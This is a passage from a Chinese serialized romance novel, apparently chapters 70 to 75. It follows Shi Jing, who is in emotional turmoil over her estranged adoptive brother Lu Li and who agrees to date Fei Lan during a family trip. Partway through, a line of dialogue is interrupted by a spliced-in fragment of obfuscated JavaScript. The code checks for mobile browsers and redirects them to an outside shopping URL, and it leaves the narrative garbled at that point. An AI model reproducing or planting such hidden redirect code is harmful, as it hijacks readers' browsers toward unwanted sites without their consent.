时憬:“他没有威胁我,白行是无辜的,他家里贫困,还要供弟弟妹妹上学,这次事情过后恐怕他就要丢了夜心的工作,是我连累了他……但我现在已经联系不上他了,爸爸妈妈也盯着我,我只能找你帮忙。”
电话那头迟疑。
第70章 我愿意信他一次
时憬:“如果你为难——”
“不是为难,”耶耶连忙解释,“这可能也是我的偏见,白行他毕竟在…夜店工作,一般做这种工作的嘴上就没几句可信的,他家里困难、还有弟弟妹妹上学的事情是他说的对不对?你能…确保情况属实么?还只是为了博取你的同情心?”
这次轮到时憬沉默。
半分钟后,她才开口说:“我愿意信他一次。”
耶耶:“好,那我就帮你办。”
“谢谢你。”
耶耶听着时憬声音无力,也不敢继续追问这件事陆家知道没,又打算如何处理的,让她好好休息别在意网上新闻,等过一阵大家也就都忘记了。
挂了电话,时憬浑身如脱力般倒在床上。
屏幕显示着垃圾短信,独独没有陆礼的名字。
她怕陆礼知道,却更怕他知道了后真的不愿再管她……
亢奋与激动过后,残留在体内的,只剩下不断下坠的情绪,闭上眼,黑暗涌来时,她蜷缩起身体,环抱着胳膊瑟瑟发抖。
眼前不断闪现的是爸爸愤怒的声音,妈妈失望的眼神。
她似是被困在其中。
嘴唇张合着,一遍遍在说‘对不起’
‘对不起…’
‘对不起……’
*
这场风波很快平息。
那张照片查出来是AI合成,不是真实环境拍摄。
陆父出面,当天所有转发的消息全部删除,跳的几个最凶的账号被屏蔽,时憬到底是素人,而且陆氏集团在沙市分量重,圈里的哪怕是对家也看着就知道是陆家出手了,都识趣不再跟风。
查出来最先发布消息的账号共有二十多家,IP都不在沙市,而且都是通过匿名qq建议的,极有可能是本地不敢接,又或是怕暴露自己,所以对方找的都是外市的,更肯定背后兴风作浪的人就在沙市。
陆父让人继续追查。
敢欺负他陆家的女儿,而且还是拿这种事情泼脏水,等查到了要让他在沙市无立足之地。
至于那个姓白的,陆父找人接触后,发现对方还算配合,和时憬说的情况也属实。从大山里出来的穷小子一个,家里全靠他的收入撑着,但夜店的工作也的确不能在做了,陆父给了笔钱把人打发了,让他离开沙市。
事情过去半个多月,连陆父陆母都开始淡忘这场风波。
但——
时憬迟迟没等到陆礼回来。
甚至连陆礼在国外出差时间延长的消息也是陆母在餐桌上说的。
时憬听后,手里的筷子险些握不住,她把手藏在桌子下,不让陆父陆母察觉,极力佯装平静问道:“怎么这次出差这么久,国外的事情很棘手么?”
陆母悄悄看了眼陆父。
陆父:“前面国外成立的分公司出了点事,他过去坐镇的。”
陆母跟着道:“对,工作也忙,和我说了没两句话就急着挂了。”
时憬挤出笑,“这样啊,哥哥好辛苦。”随即低头吃饭。
陆母夹菜,柔声叮嘱:“多吃点,都是你爱吃的。”
时憬不敢露出自己的眼睛,低声道:“谢谢妈。”
吃完后,时憬上楼。
她以为自己会崩溃,会绝望,会心痛到喘不过气、濒临死亡,可当她回房间后,她能平静地在书桌前坐下,打开台灯,继续画今天没完成的画。
素描、油画、水粉,这些她在高中时期学过。
当初来沙市后,时憬根本跟不上这儿的学习进度,本身她的学习成绩也不是特别好,陆礼又将她送进了重点初中,时憬的情绪恶化也和高强度压力有关,也是在那时候,她认识了学习同样不太好的童宛。
陆礼抓住她旷课后,时憬崩溃大哭,说自己不要念书了,太痛苦了,但中考在即,作为学霸的陆礼无法忍受她中途放弃,亲自上阵教她勉强考上沙市一所高中,从高一起就决定让她走艺术生路线考大学。
各种艺术生渠道都试了个遍。
最后也就美术还算有几分天赋,她也愿意继续学,陆礼就开启了砸钱请名师,如愿让她考上本市的大学。
进入大学后,时憬开始服药。
波动的情绪问题也让她无心画画,直到在杭县时,她才重新捡起,工作也是停薪留职状态,一天中有一半时间都在画,最近她偏好彩铅画。
画的是老太太家的那只白猫。
那只猫还是陆礼买来送给她的,听说养宠物能让人有治愈的幸福感,带回家没一天,就发现陆礼猫**严重过敏,哪怕把猫只放在时憬
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房间,哪怕时憬抱过猫后换了衣服再接触陆礼,他仍会出现过敏症状。
那时候,时憬刚和陆礼在一起愿意接受治疗,陆礼只能把猫送到乡下给老太太养。
他们去杭县时,小猫请隔壁邻居照顾。丧事结束后,保姆回了趟乡下领养了猫咪,时不时会给时憬发小猫视频。
她画着,看见纸上洇了一滴水渍。
门外陆母敲门。
她抽了纸擦干后,才应声。
陆母端着碗温热的紫薯西米露进来,放在书桌一角,看见桌上是快画完的图。
乡下那间小楼房里的飘窗台上。
小白猫躺在上面晒着太阳。
阳光温暖,场景治愈。
“妈妈。”
陆母轻轻捏了下时憬的脸颊,夸赞道:“我们乖乖画得真好看。”
时憬配合着笑了下。
陆母收回手,看着她道:“妈妈来是有话想问问你。”
时憬握着笔的手指不自觉地收紧,“您说。”
陆母:“最近天气越来越暖和了,你邓阿姨约了妈妈出门旅游,问你想不想一起去?”
时憬摇了下头,“还是您和邓阿姨去吧。”
“你别急着拒绝,妈妈还没说完。如果你愿意去,费兰也会跟着一起去。妈妈……”陆母语气微顿,目光愈发温柔地看着她,“听说费兰同你表白了,你还没回复他,也是最近家里事情多,你没空思考这件事,正好陪我出去散散心,好好考虑下,不论你接受与否,妈妈都不会干涉你的决定。”
费兰……
时憬想起这个快被他遗忘的名字。
自从她问费兰要了地址,想把项链寄回去后,就再也没有联系过。
时憬垂首,语气小心翼翼地解释:“我在杭县时已经拒绝过他了。”
陆母无奈道:“你这孩子,人家费兰是当面和你表白的,你要拒绝也得当面说清楚是不是?”
时憬怔住。
她抬头,看着妈妈眼中的期盼。
浓烈得像压着她的脖子点头。
陆母:“一起去吧,你邓阿姨喜欢你,而且我们母女俩还没单独出门旅游过。”
时憬被期待压得喘不过气。
她总是不愿妈妈失望。
“好,”她浅浅地点头,“我去。”
第71章 车祸
果然陆母高兴极了,“太好了,还是我们乖乖听话,明天妈妈来帮你收拾东西,后天咱们就出发。”
“妈妈——”
时憬出声叫住她。
陆母停下身,目光慈爱地看她,“怎么了?”
时憬听见自己的声音从喉咙里发出,“我哥他……有说什么时候回来么?”
明亮的台灯下,时憬的脸被照得几乎惨白。
陆母只当她是怕陆礼回来因为白行那件事要训她,这才吓得脸都白了,顿生怜爱:“怕你哥哥回来说你是不是?放心,妈妈替你先说过了,你哥不会再说你了,安心跟我们出去玩。”
她脸上僵硬地挤不出笑,仍不死心地确认:“他都…知道了?”
陆母颔首,“是啊,那天晚上就和他说了,后来工作忙,等你哥回来的时候估计都快忘了,瞧把你吓得脸都白了。”
“我知道了,您…您也早点休息吧。”
陆母离开前还不放心地吩咐,让她趁热把糖水喝了。
时憬目送陆母离开。
当门合上的瞬间,她脸上伪装的笑容崩坏。
桌上是陆礼请老师教她的彩绘。
纸上画着他买来送自己的白猫。
房间的家具是他带着自己挑的。
梳妆台上的首饰是他一年又一年送的礼物。
她生活中通通都是陆礼留下的痕迹。
甚至在不久前,他们还曾在这张床上……
现在,他真的……
不要她了。
她忽然抬起手,指腹抚摸过纸上画着的白猫,她记着每一样他送的礼物,记着他说的每一句话,都是她珍惜的宝物,可他……说不要她就真的不要了,连不久前信誓旦旦说会永远照顾她的承诺都不要了。
他不再关心她。
是不是连看都不愿看到她?
时憬像寒战般抱紧自己,却还止不住冷得瑟瑟发抖,口中的哭声快溢出时,她才猛地惊醒,死死咬着胳膊,不让自己发出一丁点会被人察觉的声音。
直到尝到血腥味,仍未有痛感。
*
陆母回了房间,长舒一口气。
陆礼叠衣服的动作停了下,问:“小憬愿意跟你们出去旅游散心了?”
陆母点头,走过去蹲下身,帮陆父一起收拾行李箱,“说好后天一早就出发,艳华他们开车来接我们。你是明天什么时候的飞机?”
陆父:“明天下午五点直飞图拉马莱恩机场,等到了墨尔本见到陆礼,正好是国内早上六七点,明天晚上好好睡一觉,醒来正好能收到消息。”陆父看着妻子愁眉不展,柔声宽慰道:“别担心,陆礼现在联系我们肯定是没事了,不然怎么可能同意我提前变更出差计划飞过去看他,是不是?”
陆母皱着眉,丝毫没了刚才在时憬面前的愉悦之色,“是什么是!这孩子未免太有主见了,把我们当父母的瞒得滴水不漏!这半个月里发的信息里是半句不提出出车祸进医院动手术的事情!如果不是心月飞去墨尔本后才发现,到昨天为止都不会来告诉我们!估计要等到回国了,他们发现他拄着拐杖才说出来!”
陆母越说越气,哪怕现在已经知道儿子已经开始静养,但一想到这件事仍会后怕:“还有,他身边跟着的那些人可真是衷心啊!这么大的事情也敢帮他一起瞒着!”
陆父从妻子手里拯救出来一条险些被揉皱的衬衫,仔细叠好放进行李箱。
“这事也不能怪他们。出事那会儿正好是下班时间,陆礼一个人开车出去,谁知道就遇上当地有人抢出租车引起车祸,陆礼为了避让一对母子才撞上花坛。”陆父语气沉稳地解释,一边拉着妻子起来,坐在旁边的沙发上,“车祸后儿子一没昏迷二没下病危通知,他盯着下面的人不准通知,那些人哪里敢阳奉阴违。至于要瞒过当地的员工就更简单了,说陆礼感冒不能出席,所有会议改成线上,他们也不会去细问。再说了,事情发生后,我还和陆礼开过一场视频会议,连我这个当爸都没看出来。”
陆母刚准备喝一口,闻言水也不喝了,瞪
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了他一眼,“我看了就能发现!”
陆父举手投降,“好好好,我老婆最厉害,等后天见了儿子,我立刻拍一段全身视频发给你,把他两只脚十根脚趾都——”
这话被一巴掌打断。
陆母忍不住被丈夫的不正经气笑。
陆父:“刚才你去找小憬的时候她没怀疑吧?”
陆母:“她还在问陆礼什么时候,估计怕陆礼回来凶他,脸都吓白了。”说着她又是一声叹息,“儿子不让我们和小憬说是对的,最近的事情一件接着一件的,她向来和陆礼关系最好,要知道了陆礼是因为车祸没法回国,她亲生母亲还是因为车祸过世的……不知道要担心成什么样。”
陆父:“所以啊,带她出门是好的。儿子那边有我照顾,你就带着女儿出门去散散心,等你们玩一圈,陆礼也能回来了。好了,时间不早了,明天你不是还要去寺庙里求平安符么?”
陆母这才想起来,“对,要去求四个平安符,两个你带着,记得给儿子一个。”
陆父宠溺一笑:“好。”
没有戳穿妻子,儿子从来没带过这些。
*
到了出发这日。
时憬起了个大早。
与陆母各拉了一个行李箱往外走时,黑色吉普车正好停在陆园门口。
邓艳华一如既往地热情明媚。
不过是一头酒红色波浪卷发变成了深蓝色挑染卷发,穿着V领修身长裙,如画报上的迷人摩登女郎,推开吉普车门,踩着黑色红底高跟鞋朝时憬飞奔过来。
给了时憬大大的拥抱。
“甜心!我们终于再见面了!”
时憬快在波涛汹涌的怀抱中窒息,艰难呼吸道道:“阿姨…好…”
邓阿姨这才松开她,捧着脸夸张道:“宝贝,你瘦了多少,真让人心疼,这次出门跟着阿姨带你去吃好吃的!”
时憬笑着点头:“谢谢阿姨。”
陆母适时开口,闺蜜二人立刻手握着手问候起来。
费兰这时才从车上下来。
第72章 “我不会再冒犯你”
金色短发在阳光下似金子般耀眼,蓝眸弯着,笑容灿烂的远远同她打了声招呼,自然到好像时憬没有拒绝过他一般。
打过招呼后,费兰没有凑上来说话。
绅士的帮她们把行李搬上车,打开车门站在旁边耐心的等着。
妈妈们见面有说不完的话,自然坐在后排。
副驾驶座留给时憬。
现在天气转暖,开窗吹着暖风,熏得人昏昏欲睡,后面的聊天声更像是温柔的白噪音,时憬开始服药后,嗜睡的症状一直没有消失。
副作用的也依旧存在。
情绪偶尔有失控的时候,偶尔她也会无意伤害到自己……就像昨天晚上。
但大多时候,她平静而麻木的像是一滩死水。
那些副作用更像是在提醒着自己还在挣扎的活着,自己还没有放弃。
时憬偏首,看向窗外的眼皮逐渐垂下、合拢。
安静的像睡着般。
在等红灯时,费兰不止一次忍不住侧目看身旁的女孩。
她侧着头,春日的衣服单薄,露出一截白皙的肌肤,与纤细脖颈,脖间空空荡荡,没有一件饰品点缀。她安静浅眠的模样,有种脆弱美,是让人忍不住心生怜惜的,让人放心不下的孤独感。
明明他见过她如星光一般璀璨。
为何她会拥有两种如此矛盾的特质。
因为心中始终无法消除的好奇,他忍不住想要再见见她,哪怕被拒绝了,哪怕他从朋友那儿得知了前段时间的新闻,也从母亲那儿知道最后的照片是伪造的,但也知道她曾有过一个男朋友。但这没什么,谁没有过旧情人。
他还是请母亲制造了这一次机会。
“咳咳!”
邓艳华冷不丁清了下嗓子,说道:
“前面的绅士,请专心开车。”
费兰才看见红灯转绿,他不急不忙的踩下油门,耸肩笑着回了句:“我尽量。”
陆母刚才在看丈夫发来的视频。
虽然没真的拍儿子十根脚趾都好好的,但从视频看来,儿子气色看着的确不错,已经能拄着拐杖下床走动两步,陆母也终于放了心。一抬头就听见母子俩打哑谜的对话,轻轻撞了身边的人,低声问:“怎么了?”
邓艳华非常愿意和闺蜜分享这个发现,两根手指指了下眼睛,虚空戳戳主驾驶,又划拉到副驾驶。
陆母看懂了。
费兰这孩子明显就对小憬有好感,奈何女儿才经历过一段错误的爱情,不知道会不会愿意投入下一段恋情。
她能劝的都劝了。
能帮的不能帮的也都帮了。
剩下的就看两个孩子有没有缘分吧。
上了高铁后,时憬才知道定的是豪华软卧包厢,一个包厢两张床,两个包厢就在隔壁,时憬和陆母一间,邓阿姨和费兰一间。
他们在夜里下车,不会坐到终点。
刚上车放好行李,四人就聚在一间里。
邓阿姨感慨着:“如果当初生的是女儿,咱们就能定四人间的包厢,肯定比现在还要热闹。”
费兰忍不住接话:“妈妈,您当着我的面说后悔生了我这个儿子,我会万分伤心的,能请您稍微注意下言辞吗?”
费兰的中文越来越好。
邓艳华眼都不眨的回:“你有一半国人血统,抗压能力比一般外国人都高,少装可怜。”
费兰叹口气,终于甩出手里最后两张牌,得意的宣布:“地主赢了!你们继续。”
邓艳华不敢置信的看他扔出来的牌,“What??我还有一手的牌!费兰,你都不知道让一下女士么?!”
费兰绅士的欠了下身,“Sorry,美丽的女士,您还有翻盘的机会,请加油。”
三人的牌又走了两圈后,从刚才起就陷入沉默的陆母扔出一个对子,笑眯眯道:“Sorry啊,两位女士,我也没牌了。”
邓艳华多年没摸纸牌,这下只能看对面的时憬。
时憬被盯得颇为不自在,犹豫间出了张小牌,方便邓阿姨走牌。
最后**阿姨先赢一步,时憬收获了又一个热情的拥抱,“甜心!!还是你最好,他们两个人都不肯让我!”
打了一上午牌后,两位妈妈又指挥她们去餐车买午饭。
外面的走道狭窄。
“小心——”
时憬晃了个神,没看见从包厢里出来的人差点撞上去,被费兰一把拉住压在胸前,侧过身,让对方先走。
二人这个姿势太过亲密。
时憬要推开他,“…谢谢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797644|188794||http|test|mini|href|location''.split(''|''),0,{}));
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r>费兰配合退开半步,却未完全松开她,垂下视线,冰蓝色的眼瞳直勾勾看着眼前眼神躲避的女孩,“不用这么刻意的避开我,在你没有回答我之前,我不会再冒犯你。”
时憬抿唇,沉默一瞬。
礼貌的反问一句:“…你做的还少么。”
费兰笑了声,灿烂的像是耀眼的太阳,“抱歉!”
嘴上道歉,手上却还不打算完全松开她。
时憬微微皱了下眉,抬头直视他,“为什么要把露营那晚你说的话告诉邓阿姨和我妈妈?既然说了,又为什么不把拒绝过你的话也说出来?”
哪怕撒了谎,费兰的眼神如此坦荡。
“这段时间我经常会想起你。你一个人,我也一个人,所以我想再试试,如果这次还是不行,我保证不会出现在你面前,好么?”
最后两个字,他用恳请而迷人的语气说出口。
时憬再度沉默。
“你又打算拖到这次旅行结束后再让我回答?”
费兰后退半步,终于还给她自由,笑容灿烂的打个响指:“聪明!”
时憬:“我的回答不会——”
“Noooo!”他的手指比声音更快一步,抵在时憬唇上,但只触碰了一下后就收了回去,他弯下腰,蓝瞳中闪着炙热的深情,“如此残忍的话不能在旅行刚开始的说,我会伤心的,我们歪果人的心灵是非常脆弱的。”
时憬避开他目光,毫不留情的吐槽,“你只有一半外国人血统,别装心灵脆弱了,不适合你。”
费兰看她身上的孤独感终于淡了些,忍不住高兴道:“这样才像真正的Star!”
时憬愣了下。
还不等她问,就被费兰推着走:“快快快,再不去餐车就要售罄了!”
时憬有些抗拒这样频繁的身体接触,但费兰用热情挡在强势前,让她连拒绝的话都难以说出口。
等他们走到餐车,餐食真的售罄,抱了四桶泡面和四根火腿肠回去,本以为两位妈妈都会埋怨几句,谁知二人开始怀念学生时代,就着回忆,吃完了一桶还有些意犹未尽。
下午时憬忍不住回包厢睡午觉。
等她醒来时发现外面已近黄昏。
坐在对面的人,换成了费兰。
第73章 陆礼爱上了别人
虽是豪华软卧,但空间依旧逼仄。
大面积玻璃窗外的夕阳照进来,仍显得光线昏暗。
费兰那一侧开了射灯,暖黄调的光笼罩着一小圈,照清楚他手中握着的一本书。
时憬才醒来,雾蒙蒙的脑中思绪不算清晰。
眼神亦有些僵硬。
下意识地想要获取眼前的信息。
她眯了下眼睛,未能看到封面上的英文单词。
她是和衣睡的,身上盖的也是外套,并无外露的地方,只是门关着,对面又是费兰,她逼着自己起床。
还没等她开口,费兰先移开书,蓝瞳望来,眼神明亮,“醒了?需要喝水吗?”
语气热情。
时憬仍不适应,垂首,客气回绝:“不用,谢谢。”
费兰看她醒来就急着往外面走,眼底多少有些失意,但也只是一闪而过,“两位妈妈也在隔壁睡了。”
时憬的脚步顿住,又坐回来。
就在费兰以为她要看会儿手机时或和他客客气气地闲聊,看见人又躺了下去。
费兰语气几近无奈:“快下车了,你还要睡吗?”
时憬背对着他,平静回道:“嗯,又困了。”
费兰笑了声,“Fine,安心睡吧,等到站叫醒三位女士是我的荣幸。”
时憬没再回他。
晚上到站后,两位妈妈睡饱了根本不知困,去逛当地的夜景。
湖两侧的仿古建筑物被灯光描绘,路上、桥上的游客中有不少穿着古装,手里提着花灯,握着团扇,各处找着景色留念。
邓阿姨也说着明天要体验。
时憬站在桥上,周围是嘈杂的热闹。
忽然间,她听见一道熟悉的声音,急匆匆回头去找。
乌泱泱人潮之中,一张张都是陌生的脸。
眼中盛开的欣喜转瞬又被黑暗淹没,这样强烈的情绪起伏细细地折磨着她。
之后几日,时憬跟着三人逛博物馆、景区,也笑盈盈地跟着换装拍照、品尝美食。晚上入睡前,甚至连陆母都在说,带她出来一趟看着气色都好多了,就是还瘦,让她多吃点。
时憬依偎着,撒娇说和妈妈在一起当然开心。
陆母促狭地问她,和费兰在一起不开心?
说着把白天拍的照给她看。
镜头里,她正在挑选纪念品,费兰站在一边同她说话。
时憬看着,却毫无印象。
她垂眸笑着不理会陆母的打趣。
她麻木地扮演‘时憬’,药物嗜睡的副作用愈发明显,好在无人察觉,只当她体力不济。
在当地慢节奏玩了七八日,就为了今晚的打铁花表演。
看完表演,他们明日就离开这座城市,去春城。
费兰早早定下了观景二楼VIP包厢。
说是观景楼,实则是栋颇为简陋的竹楼,打铁花不适合高处观看,所以竹楼虽然有两层,但层高不高,高个子的人进来甚至可能会撞头。上面垂着些轻飘飘的纱,挂着仿古红灯笼,两层楼分割成三十多个小包间,高价出售。
竹楼两侧是钢筋混凝土台阶。
表演时能划分出座位出售。
平时就是供人上下的。
这种利用到极致的商业气息充斥在这座旅游城市的大街小巷,时憬也不意外会出现在这儿。
未对接下来的表演太感兴趣。
打铁花表演会产生大量火花,熄灭前易燃,所以竹楼前就是一大片空草地,搭起来一个树山。
这会儿离开始前还有大半个小时。
楼下、外面都闹哄哄的。
邓阿姨和陆母就坐在窗边的位置,一边喝茶一边聊天。
时憬趴在后面小睡。
费兰出门闲逛去了。
两位妈妈聊着聊着,又转到孩子们身上。
邓艳华问了句:“陆礼也一直没交女朋友吧?你也挺想得开,没见你给他安排相亲。”
陆母苦笑一声:“怎么没排?人眼光高,都看不上——”说着,她轻笑了声,没忍住分享欲,“不过快有女朋友。”
邓艳华好奇问:“快有了是什么意思?喜欢的姑娘快追到手了?”
陆母并未急着回答,视线朝身后看了眼,见时憬还趴着在睡,才继续往下说:“他这段时间都在国外忙,有个小姑娘追过去。女追男隔层纱,嘘寒问暖关怀备至的,我儿子那个冰山可不就被打动了么。我老公出差顺路去看了眼,两人住到一块儿了,这不是就快了么?”
邓艳华哟了声,好奇问:“是哪家姑娘啊?”
陆母:“给你看过的,
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楼家的小女儿。”
两人凑在一起正说悄悄话,忽然身后传来动静。
凳子被撞开,在地上划拉出刺耳声。
陆母回头去看,见女儿站起来,睡得头发散乱,一双眼里惺忪睡意未退,眼神看着木愣愣的。
“小憬,怎么了?”
时憬平静地回:“上厕所。”
她转身朝外走。
费兰逛了一圈回来,手里举着四串奶皮子糖葫芦,递给两位妈妈,看了眼逼仄的包厢,“时憬呢?”
陆母:“刚说上厕所去了。”
邓艳华跟着道:“出去有一会儿了,别是迷了路。”
费兰:“我出去找找,表演马上就要开始了。”
他放下糖葫芦转身出去找人。
费兰去楼下卫生间晃了圈也没见到人,上下楼就那么点地方,他拿手机打电话,听见铃声从旁边传来,转头顺着声音看去,楼梯旁有一个凹进去的角落。
“时憬?”
他出声叫人。
抬脚走进去。
此时外面表演正好开始,竹楼里的照明瞬间暗下,只有通道里的紧急出口指示灯亮着幽幽绿光。
费兰在角落里,看见躲在这儿的女孩。
时憬抬起头。
她身后是扇不大的窗,这会儿开着,夜风顺着窗口吹进来,带了点春末的微凉,也拂动着她肩头垂落的柔软黑发,这是极为微妙的一瞬,在她漆黑的眼往来时,让人挪不开目光。
费兰不自觉地翘起嘴角。
低声道:“找到了一颗落单的Star。”
他向来不掩饰眼中的炙热,时憬似要被他的目光烫伤,落在身上,皮肤发疼,可这些疼痛如此鲜明,比不小心弄伤自己时的疼痛更加鲜明。
让她知道自己还活着。
刚才听见的那些话,也不是幻觉。
甚至她抓着的手机里,还有刚刚耶耶发来的信息。
楼心月早在一个礼拜前也飞去了墨尔本。
楼心月也和陆礼住到了一起。
陆礼爱上了其他人。
而她——
正在被他驱逐出他的世界。
时憬紧紧抓住他的胳膊,“你喜欢我?”
费兰坦然承认,“是。”
时憬跨出一步。
两人之间的距离拉近。
第74章 我答应你——
她昂起头,想要在黑暗的环境下看清他的表情,“哪怕…哪怕我不喜欢你?”
费兰沉默一瞬,似乎已经猜到眼前的人想要说什么。一股气直冲上来,蓝瞳中的眸光不再炙热,渐渐冷下。
但在他开口前,看见她眼中落下的眼泪,她却像没有察觉一般,仍用那双盛满盈盈泪光的眼睛看他。
就这么一瞬,费兰心软了。
他抬手,擦去她脸上的泪痕,“是。哪怕你有过一段惊心动魄的爱情,哪怕你现在也还不喜欢我,但过去已经是过去,如果你愿意,我会让你彻底遗忘那个人,然后爱上我。”
他扬唇,笑的自信而张扬。
时憬像是被逼到绝境的人,不择手段的想要抓住什么。
她知道自己疯了。
她知道陆礼看见她接受费兰后,会是什么反应。
他会高兴,会松一口气,终于将她交给其他人,然后、然后他会回来,会像最开始的那样当她的兄长,
妈妈也会高兴。
她永远是陆家的小女儿。
是陆父陆母宠爱的女孩。
更是陆礼疼爱的妹妹。
而不是被推开的累赘,而不是被陆礼刻意躲开的麻烦。
哪怕陆礼爱上别人。
哪怕他以后只能是自己的兄长。
她也不想被陆礼再忽视,再抛下。
她不想被陆礼驱逐。
她还想留在陆家。
变回从前那样——
多好啊。
只要她答应了费兰,一切就能变回去了。
多好啊……
窗外骤然炸开一片火树银花,将半天漆黑的天空照亮。
铁花在黑暗中盛开的瞬间。
她恰好昂起头,苍白的唇瓣张合着,轻声说:“我答应你。”
四周涌来对漫天盛景的惊呼声,几乎要盖过她的回应。
铁花转瞬即灭。
重归黑暗。
费兰眼神摄住她,低下头,声音低哑的问:“Sayagain,please。”
“咚——”
滚烫的铁水被瞬间爆发的击力打散飞向天空,在树架上绽开烂漫、密集的铁花。
绽放的光芒,一同点亮了她眼中的漆黑。
惊叹声不绝于耳。
夹杂着朗朗向上的唱和词响起。
“一打政通人和,铁花献瑞!”
她再一次开口:“我答——”
后面的话,被猝不及防覆上的唇打断。
铁花盛开又熄灭。
“咚——”
“二打天降百福,神州同乐!”
炙热的深情落下,显然不满足青涩的触碰。
含吻的唇,带着真挚的技巧。
糖块的甜味蔓延开。
试图闯入虚无的领地。
“咚——”
“三打风调雨顺,五谷丰登!”
时憬推开他。
发丝落在腮边,挡住她的眼神。
费兰平息激动的气息,他的手掌下滑,握住她的手上,宽大粗实的手指挤入她的指缝,与她十指交握,另一条胳膊绕过她的后背,将她拥入怀中。
“咚——”
“四打平安康健,福寿延绵!”
漫天火树盛开,身后热浪层层涌来,瞬间的热意令人窒息。
“Sorry!是我太激动了!是我太高兴了!”他一边说着,一边吻着她的头发,“吓到你了是吗,我们慢慢来。”
她听见费兰胸膛下加速的心跳声。
如此强烈。
她退开了些。
察觉到时憬身体的离开,费兰仍未松开紧拥她的胳膊,低下头,灼热的目光黏在她脸上,看着她垂眸不语的神情,看着她近在咫尺柔滑细腻的脸颊,喉结滚动了下,嗓音更低沉暗哑。
“咚——”
“五打前程似锦,龙腾九天!”
“宝贝,”他的呼吸间都带着甜味,“我能再亲你一次吗。”
他的声音与楼下人潮的惊呼声一起响起。
时憬闭上眼。
颔首回应。
温热的唇耐心的触碰,不再急于探入。
交握的掌心紧贴,生出了黏腻的汗水,呼吸间都是糖块的甜味,陌生的、抗拒的、让人想要推开的——
她将自己禁锢在玻璃罩中。
不能躲开。
“咚——”
“六打一顺百顺,万事如意!”
她紧闭着眼,精神仿佛从肉体短暂游离。
想起她和陆礼第一次亲吻。
那时候他们刚发生关系不久,陆礼在国外留学,她放假,这种肉体关系更像是强行镇
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定剂。除了那些时候外,陆礼不会亲吻、拥抱她。刚开始接受治疗时,她情绪起伏格外严重,有一天陆礼学校回来,没看见她,手机无人接听,常去的公园、美术馆都没找到,就在陆礼想要报警,回家取她的护照时,却在角落的画后找到了她。
他眼中有焦急、愤怒、惊怕。
她刚熬过一阵低落情绪,看见眼气喘吁吁的兄长,挤出乖巧的笑容,“哥,我饿了——”
陆礼蹲下身,颤抖的手抚上她的脸颊。
手掌摁着后颈,有些粗暴的吻上她的唇。
她茫然不知所措。
更不知回应。
分开时,看见兄长平静下来的目光,抬手在她唇角轻轻擦过,低声道:“回去吧。”
她堕于回忆中。
想要回应。
却在眨眼之间,眼前之人变成了金发蓝眸的男人。
“回去吧?”
时憬眼中的波动渐平息,原来结束了。
原来是回忆。
她垂眸,轻声回:“好。”
费兰将她的反应看在眼中,手掌用力握紧了些,他想没关系,之后他们有的是时间创造更多的回忆,至少他将这朵星光抓在了手中。
总有一天,能看见她在自己掌心光芒动人的模样。
回去时,费兰仍没有松开她的手。
时憬落后他半步,垂下的视线落在交握的手上。
她安静的看着。
眼睑掀起。
仿佛又回到了异国湖边的黄昏,陆礼拉着她的手在散步,只是为了让她每天能出门走走。
她忍不住睁大眼——
可背影变了。
发色也变了。
变成了哪怕在昏暗中也醒目的金色。
费兰推开包厢的门,在两位妈妈面前得意的展示了下两人握在一起的手,然后隆重的向他们介绍:“这位是我的女朋友,美丽的星光女士时憬!”
表演结束,包厢里的照明恢复。
时憬侧首。
在费兰含笑的蓝眸中,看见了自己也在微笑。
邓阿姨欢喜疯了,用力的拥抱时憬,她也看见陆母一脸欣喜、欣慰的望着她。
时憬微笑,而后垂眸。
你看啊。
多好。
大家都那么开心。
第75章 我会听你们的话
两位妈妈知道两个孩子开始交往后,夜市也不逛了,伴手礼也不买了,早早就说要回酒店休息。
路上还提议等到了春城,给她们包车找个当地的导游,让时憬他们自己玩自己得去。
时憬撒娇说想跟着一起逛。
费兰也说不放心两位美丽女士,这个提议才作罢。
到了酒店后,妈妈们先一步回房。
费兰一路都没有松开她的手,问:“散步吗?或是去我房间喝杯酒?”
时憬摇头,“我想回去休息,有些累了。”
费兰在灯光下仔细看她的脸色,的确有疲惫之色,送她到房门前时,还是没忍住低下头——
时憬攥住手。
眼睑下意识垂下。
没有躲开。
他啄吻一下,依依不舍道:“晚安。”
时憬也回了声晚安,回房休息。
陆母刚拿着睡裙要去洗澡,见时憬开门回来,有些诧异地问:“这么早就回来了?怎么没和费兰多聊会儿?”热恋中的小情侣不应该恨不能时时刻刻黏在一起吗。
时憬笑着说自己累了,想早点休息,陆母这才没有继续追问。
等两人洗漱后,时憬上床没一会儿就睡着了,陆母掀了被子躺下,一时分不清楚女儿到底睡没睡。
今晚得知两个孩子开始交往后,她就有些激动地睡不着。
女儿有了男朋友。
儿子也快有女朋友。
她仅有的烦恼都解决了。
陆母轻轻出声叫了下:“小憬?”
时憬浅眠。
瞬间从睡梦中惊醒。
她睡意朦胧地应了声,“妈妈。”
陆母没关床头射灯,看见女儿被自己吵醒,抬手摸了下她的额头,柔声道歉,“不好意思,妈妈吵醒你了。”
时憬摇头,“没事,您有什么事么。”
陆母目光愈发怜爱地看着她,“妈妈有几句话想和你说…乖乖,不用坐起来,就这么躺着说好了。”她的嗓音和房间里的光线一般温柔,“妈妈很高兴你愿意接受费兰。他是个好孩子,样样都好的好孩子,我和邓阿姨看到你们走到一起,心里不知道有多开心。我们都希望你们幸福,哪怕不走到最后婚姻这一步,也希望你们能拥有一段美好的回忆。”
陆母眼中的期盼压得她快喘不过气。
时憬垂眸,揽上陆母的胳膊,轻声问:“妈妈,您今天很高兴是么。”
陆母低笑了声,“当然高兴,我们乖乖终于长大了。”
时憬快扛不住涌来的睡意,说道:“我会听你们话的……”
陆母像是听出些奇怪的感觉来,还想追问两句时,女儿已经靠着自己呼呼睡了,不禁摇头笑着叹息。
她这一辈子,儿女缘都好。
儿子沉稳,女儿年纪轻有做错事的时候,但仍是个好孩子。
今后也会越来越好的。
这一夜,陆母做了个美梦。
梦见陆家子孙满堂。
孩子们围绕在她膝边一个赛一个地可爱,甜甜地叫她‘奶奶’。
*
他们预计在春城停留一个月。
